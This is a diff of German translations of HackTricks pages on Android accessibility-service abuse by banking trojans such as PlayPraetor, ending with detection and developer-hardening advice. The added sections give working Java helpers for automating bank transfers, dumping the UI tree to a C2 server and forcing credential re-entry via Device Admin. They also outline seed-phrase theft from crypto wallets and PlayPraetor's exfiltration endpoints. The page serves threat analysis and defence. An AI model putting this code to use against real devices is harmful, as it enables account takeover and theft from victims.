+- Alarm bei MediaProjection-Eingabeaufforderungen von Nicht-Firmen-Apps, gefolgt von periodischen Frame-Uploads.
+- Erkennung der Installation/Start eines externen NFC-relay-App, die von einer anderen App ausgelöst wurde.
+- Für Banking: außerbandliche Bestätigungen durchsetzen, Biometrie-Bindung und Transaktionslimits, die gegen On-Device-Automatisierung resistent sind.
+
 ## Referenzen

 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
 - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@ -1,20 +1,20 @@
-# Android Accessibility Service Abuse
+# Missbrauch von Accessibility Services unter Android

 {{#include ../../banners/hacktricks-training.md}}

 ## Übersicht

-`AccessibilityService` wurde geschaffen, um Benutzern mit Behinderungen zu helfen, mit Android-Geräten zu interagieren. Leider können dieselben **leistungsstarken Automatisierungs-APIs** (globale Navigation, Texteingabe, Gestenübertragung, Overlay-Fenster…) von Malware genutzt werden, um **vollständige Fernsteuerung** des Geräts _ohne Root-Rechte_ zu erlangen.
+`AccessibilityService` wurde entwickelt, um Nutzern mit Behinderungen die Interaktion mit Android-Geräten zu erleichtern. Leider können dieselben **leistungsfähigen Automatisierungs-APIs** (global navigation, text input, gesture dispatch, overlay windows…) von Malware missbraucht werden, um **vollständige Fernsteuerung** des Geräts _ohne Root-Rechte_ zu erlangen.

-Moderne Android-Banking-Trojaner und Remote-Access-Trojaner (RATs) wie **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** und viele andere folgen demselben Rezept:
+Moderne Android-Banking-Trojaner und Remote-Access-Trojans (RATs) wie **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** und viele andere folgen derselben Vorgehensweise:

-1. Den Opfer durch Social Engineering dazu bringen, einen bösartigen Accessibility-Dienst zu aktivieren (die *BIND_ACCESSIBILITY_SERVICE*-Berechtigung gilt als "hochriskant" und erfordert eine ausdrückliche Benutzeraktion).
-2. Den Dienst nutzen, um
-* jedes UI-Ereignis und jeden Text, der auf dem Bildschirm erscheint, zu erfassen,
-* synthetische Gesten (`dispatchGesture`) und globale Aktionen (`performGlobalAction`) einzufügen, um jede gewünschte Aufgabe zu automatisieren,
-* Vollbild-Overlays über legitimen Apps mit dem **TYPE_ACCESSIBILITY_OVERLAY** Fenstertyp zu zeichnen (kein `SYSTEM_ALERT_WINDOW`-Prompt!),
-* stillschweigend zusätzliche Laufzeitberechtigungen zu gewähren, indem auf die Systemdialoge im Namen des Opfers geklickt wird.
-3. Daten exfiltrieren oder **On-Device-Fraud (ODF)** in Echtzeit durchführen, während der Benutzer einen vollkommen normalen Bildschirm betrachtet.
+1. Durch Social-Engineering das Opfer dazu bringen, einen bösartigen accessibility service zu aktivieren (die *BIND_ACCESSIBILITY_SERVICE*-Berechtigung gilt als "high-risk" und erfordert eine ausdrückliche Benutzeraktion).
+2. Den Service ausnutzen, um
+* alle UI-Ereignisse & Texte zu erfassen, die auf dem Bildschirm erscheinen,
+* synthetische Gesten (`dispatchGesture`) und globale Aktionen (`performGlobalAction`) zu injizieren, um beliebige Aufgaben des Operators zu automatisieren,
+* vollbildige Overlays über legitimen Apps zu zeichnen, unter Verwendung des Window-Typs **TYPE_ACCESSIBILITY_OVERLAY** (kein `SYSTEM_ALERT_WINDOW`-Prompt!),
+* stillschweigend zusätzliche Runtime-Berechtigungen zu gewähren, indem Systemdialoge im Namen des Opfers angeklickt werden.
+3. Daten exfiltrieren oder **On-Device-Fraud (ODF)** in Echtzeit durchführen, während der Benutzer auf einen völlig normalen Bildschirm schaut.

 ---

@ -34,7 +34,7 @@ android:exported="false">
 android:resource="@xml/evil_accessibility_config"/>
 </service>
 ```
-Die begleitende XML definiert, wie der gefälschte Dialog aussehen wird:
+Die zugehörige XML definiert, wie der gefälschte Dialog aussehen wird:
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
 ```
 ---

-## Remote UI-Automatisierungsprimitive
+## Remote-UI-Automatisierungsprimitive
 ```java
 public class EvilService extends AccessibilityService {
@Override
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
 }
 }
 ```
-Mit nur diesen beiden APIs kann ein Angreifer:
-* Den Bildschirm entsperren, die Banking-App öffnen, durch den UI-Baum navigieren und ein Überweisungsformular absenden.
-* Jedes Berechtigungsdialogfeld akzeptieren, das erscheint.
-* Zusätzliche APKs über den Play Store-Intent installieren/aktualisieren.
+Mit nur diesen zwei APIs kann ein Angreifer:
+* Den Bildschirm entsperren, die Banking-App öffnen, seinen UI-Baum navigieren und ein Überweisungsformular absenden.
+* Jeden erscheinenden Berechtigungsdialog akzeptieren.
+* Zusätzliche APKs über den Play Store Intent installieren/aktualisieren.

 ---

 ## Missbrauchsmuster

-### 1. Overlay-Phishing (Credential Harvesting)
-Ein transparenter oder undurchsichtiger `WebView` wird dem Fenster-Manager hinzugefügt:
+### 1. Overlay Phishing (Credential Harvesting)
+Ein transparentes oder undurchsichtiges `WebView` wird dem Fenstermanager hinzugefügt:
 ```java
 WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
 MATCH_PARENT, MATCH_PARENT,
@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real
 PixelFormat.TRANSLUCENT);
 wm.addView(phishingView, lp);
 ```
-Die Opfer geben ihre Anmeldeinformationen in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – es wird niemals eine verdächtige "Über andere Apps zeichnen"-Aufforderung angezeigt.
+Das Opfer tippt Anmeldedaten in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – kein verdächtiger "draw over other apps" prompt wird je angezeigt.

-> Detailliertes Beispiel: der Abschnitt *Accessibility Overlay Phishing* auf der Tapjacking-Seite.
+> Detailliertes Beispiel: der *Accessibility Overlay Phishing* Abschnitt auf der Tapjacking-Seite.

-### 2. Betrugsautomatisierung auf dem Gerät
-Malware-Familien wie **PlayPraetor** unterhalten einen persistierenden WebSocket-Kanal, über den der Betreiber hochrangige Befehle (`init`, `update`, `alert_arr`, `report_list`, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben genannten niedrigstufigen Gesten und ermöglicht so in Echtzeit unbefugte Transaktionen, die leicht die mit diesem Gerät verbundene Multi-Faktor-Authentifizierung umgehen.
+### 2. Automatisierung von On-Device-Fraud
+Malware-Familien wie **PlayPraetor** unterhalten einen persistenten WebSocket-Kanal, über den der Operator hochrangige Befehle (`init`, `update`, `alert_arr`, `report_list`, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben beschriebenen Low-Level-Gesten und ermöglicht so Echtzeit-unauthorisierte Transaktionen, die leicht Multi-Faktor-Authentifizierung umgehen können, die an genau dieses Gerät gebunden ist.

-### 3. Bildschirmstreaming & Überwachung
-Durch die Kombination der **MediaProjection API** mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an `rtmp://<c2>:1935/live/<device_id>` übertragen, was dem Gegner perfekte situative Wahrnehmung verschafft, während die Accessibility-Engine die Benutzeroberfläche steuert.
+### 3. Bildschirm-Streaming & Überwachung
+Durch die Kombination der **MediaProjection API** mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an `rtmp://<c2>:1935/live/<device_id>` senden und dem Angreifer damit perfekte Lageerkennung verschaffen, während die Accessibility-Engine die UI steuert.

 ---

-## PlayPraetor – Kommando- und Kontrollworkflow
+## PlayPraetor – command & control workflow

-1. **HTTP(S) Herzschlag** – über eine fest codierte Liste iterieren, bis eine Domain mit `POST /app/searchPackageName` auf den aktiven C2 antwortet.
-2. **WebSocket (Port 8282)** – bidirektionale JSON-Befehle:
-* `update` – neue Konf/APKs pushen
-* `alert_arr` – Overlay-Vorlagen konfigurieren
-* `report_list` – Liste der angezielten Paketnamen senden
+1. **HTTP(S) heartbeat** – iteriere über eine fest kodierte Liste, bis eine Domain mit `POST /app/searchPackageName` und dem aktiven C2 antwortet.
+2. **WebSocket (port 8282)** – bidirektionale JSON-Befehle:
+* `update` – verteilt neue conf/APKs
+* `alert_arr` – konfiguriert Overlay-Templates
+* `report_list` – sendet Liste der Ziel-Package-Namen
 * `heartbeat_web` – keep-alive
-3. **RTMP (Port 1935)** – Live-Bildschirm-/Video-Streaming.
-4. **REST Exfiltration** –
+3. **RTMP (port 1935)** – Live-Bildschirm-/Video-Streaming.
+4. **REST exfiltration** –
 * `/app/saveDevice` (Fingerprint)
 * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (Bankanmeldeinformationen)
+* `/app/saveCardPwd` (Bank-Creds)

-Der **AccessibilityService** ist die lokale Engine, die diese Cloud-Befehle in physische Interaktionen umwandelt.
+Die **AccessibilityService** ist die lokale Engine, die diese Cloud-Kommandos in physische Interaktionen umwandelt.

 ---

-## Erkennung bösartiger Accessibility-Dienste
+## Detecting malicious accessibility services

 * `adb shell settings get secure enabled_accessibility_services`
-* Einstellungen → Barrierefreiheit → *Heruntergeladene Dienste* – nach Apps suchen, die **nicht** aus dem Google Play stammen.
-* MDM / EMM-Lösungen können `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) durchsetzen, um sideloaded Dienste zu blockieren.
-* Analysieren Sie die laufenden Dienste:
+* Einstellungen → Accessibility → *Downloaded services* – nach Apps suchen, die **nicht** aus Google Play stammen.
+* MDM / EMM-Lösungen können `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) durchsetzen, um sideloaded Services zu blockieren.
+* Analyse laufender Services:
 ```bash
 adb shell dumpsys accessibility | grep "Accessibility Service"
 ```

 ---

-## Empfehlungen zur Härtung für App-Entwickler
+## Hardening recommendations for app developers

-* Markieren Sie sensible Ansichten mit `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
-* Kombinieren Sie `setFilterTouchesWhenObscured(true)` mit `FLAG_SECURE`, um Tap-/Overlay-Hijacking zu verhindern.
-* Erkennen Sie Overlays, indem Sie `WindowManager.getDefaultDisplay().getFlags()` oder die `ViewRootImpl` API abfragen.
-* Weigern Sie sich zu arbeiten, wenn `Settings.canDrawOverlays()` **oder** ein nicht vertrauenswürdiger Accessibility-Dienst aktiv ist.
+* Kennzeichne sensitive Views mit `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
+* Kombiniere `setFilterTouchesWhenObscured(true)` mit `FLAG_SECURE`, um Tap/Overlay-Hijacking zu verhindern.
+* Erkenne Overlays durch Abfragen von `WindowManager.getDefaultDisplay().getFlags()` oder der `ViewRootImpl` API.
+* Verweigere den Betrieb, wenn `Settings.canDrawOverlays()` **oder** ein nicht vertrauenswürdiger Accessibility-Service aktiv ist.
+
+---
+
+## ATS-Automatisierungs-Cheat-Sheet (Accessibility-gesteuert)
+Malware kann eine Bank-App vollständig mit nur Accessibility-APIs automatisieren. Generische Primitive:
+```java
+// Helpers inside your AccessibilityService
+private List<AccessibilityNodeInfo> byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+Beispielablauf (Tschechisch → englische Bezeichnungen):
+- "Nová platba" (Neue Zahlung) → anklicken
+- "Zadat platbu" (Zahlung eingeben) → anklicken
+- "Nový příjemce" (Neuer Empfänger) → anklicken
+- "Domácí číslo účtu" (Inländische Kontonummer) → fokussieren und `ACTION_SET_TEXT`
+- "Další" (Weiter) → anklicken → … "Zaplatit" (Zahlen) → anklicken → PIN eingeben
+
+Fallback: fest kodierte Koordinaten mit `dispatchGesture`, wenn die Textsuche wegen benutzerdefinierter Widgets fehlschlägt.
+
+Ebenfalls beobachtet: Vorbereitende Schritte zu `check_limit` und `limit` durch Navigation zur Limits-UI und Erhöhung der täglichen Limits vor der Überweisung.
+
+## Textbasierte Pseudo-Screen-Übertragung
+Für eine latenzarme Fernsteuerung erzeugt man statt vollständigem Video-Streaming eine textuelle Darstellung des aktuellen UI-Baums und sendet diese wiederholt an C2.
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
+}
+```
+Dies ist die Grundlage für Befehle wie `txt_screen` (einmalig) und `screen_live` (kontinuierlich).
+
+## Device Admin Zwangsmechanismen
+Sobald ein Device Admin receiver aktiviert ist, erhöhen diese Aufrufe die Möglichkeiten, Credentials zu erfassen und die Kontrolle aufrechtzuerhalten:
+```java
+DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+ComponentName admin = new ComponentName(this, AdminReceiver.class);
+
+// 1) Immediate lock
+dpm.lockNow();
+
+// 2) Force credential change (expire current PIN/password)
+dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
+
+// 3) Disable biometric unlock to force PIN/pattern entry
+int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+dpm.setKeyguardDisabledFeatures(admin, flags);
+```
+Hinweis: Die genaue Verfügbarkeit dieser Richtlinien variiert je nach Android-Version und OEM; validiere die Geräte-Rollen (admin vs owner) während der Tests.
+
+## Muster zur Extraktion von Seed-Phrases aus Crypto-Wallets
+Beobachtete Abläufe für MetaMask, Trust Wallet, Blockchain.com und Phantom:
+- Entsperren mit gestohlenem PIN (erfasst via overlay/Accessibility) oder mit dem Wallet-Passwort.
+- Navigieren: Settings → Security/Recovery → Reveal/Show recovery phrase.
+- Phrase sammeln via keylogging der text nodes, secure-screen bypass oder Screenshot-OCR, wenn der Text verdeckt ist.
+- Unterstützung mehrerer locales (EN/RU/CZ/SK) zur Stabilisierung der Selektoren – bevorzugt `viewIdResourceName` wenn verfügbar, Fallback auf mehrsprachigen Textabgleich.
+
+## NFC-relay orchestration
+Accessibility/RAT-Module können eine dedizierte NFC-relay-App (z. B. NFSkate) als dritte Phase installieren und starten und sogar eine overlay-Anleitung einblenden, um das Opfer durch die card-present relay-Schritte zu führen.
+
+Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay

 ---

 ## Referenzen
 * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
 * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
+* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)

 {{#include ../../banners/hacktricks-training.md}}